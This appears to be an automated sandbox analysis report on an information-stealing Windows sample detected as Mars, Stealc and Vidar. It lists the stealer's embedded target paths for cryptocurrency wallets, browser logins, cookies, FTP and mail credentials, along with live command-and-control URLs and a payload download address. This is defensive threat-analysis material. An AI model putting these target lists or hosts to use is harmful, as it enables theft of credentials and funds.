Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: bUcIhJ4VHm.exe PID: 6760, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.3.bUcIhJ4VHm.exe.3130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.3100e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.3100e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.bUcIhJ4VHm.exe.3130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1986444186.0000000003130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2443289675.0000000002F2C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bUcIhJ4VHm.exe PID: 6760, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.3.bUcIhJ4VHm.exe.3130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.3100e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.bUcIhJ4VHm.exe.3130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.3100e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1986444186.0000000003130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bUcIhJ4VHm.exe PID: 6760, type: MEMORYSTR

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CED0C40 sqlite3_bind_zeroblob,	0_2_6CED0C40
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CED0D60 sqlite3_bind_parameter_name,	0_2_6CED0D60
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CDF8EA0 sqlite3_clear_bindings,	0_2_6CDF8EA0
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_004E1390 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,	6_2_004E1390
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_004E2D60 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,	6_2_004E2D60

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	111 Process Injection	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	144 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Link
bUcIhJ4VHm.exe	32%	ReversingLabs
bUcIhJ4VHm.exe	39%	Virustotal	Browse
bUcIhJ4VHm.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\tiktok[1].exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	21%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://mozilla.org0/	0%	URL Reputation	safe
http://185.172.128.76/15f649199f40275b/softokn3.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/vcruntime140.dllK	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/mozglue.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/nss3.dll	0%	Avira URL Cloud	safe
http://185.172.128.76rf	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/softokn3.dll	0%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.phpt	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.phps	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exe	100%	Avira URL Cloud	malware
http://185.172.128.203/tiktok.exe	20%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.phps	3%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/nss3.dll	0%	Virustotal		Browse
185.172.128.76/3cd2b41cbde8fc9c.php	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exe00	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/mozglue.dll	0%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.php	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/freebl3.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/msvcp140.dllP	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/mozglue.dllB	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/msvcp140.dllL	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php2d6c41453d0c85f468b78951f73ec-release80c3c777a51d62c363839	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exet-Disposition:	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/msvcp140.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/sqlite3.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/vcruntime140.dll	0%	Avira URL Cloud	safe
http://185.172.128.76	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exeq	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.172.128.76/15f649199f40275b/nss3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/softokn3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/mozglue.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.203/tiktok.exe	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
185.172.128.76/3cd2b41cbde8fc9c.php	true	Avira URL Cloud: safe	low
http://185.172.128.76/3cd2b41cbde8fc9c.php	true	Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/freebl3.dll	true	Avira URL Cloud: safe	unknown
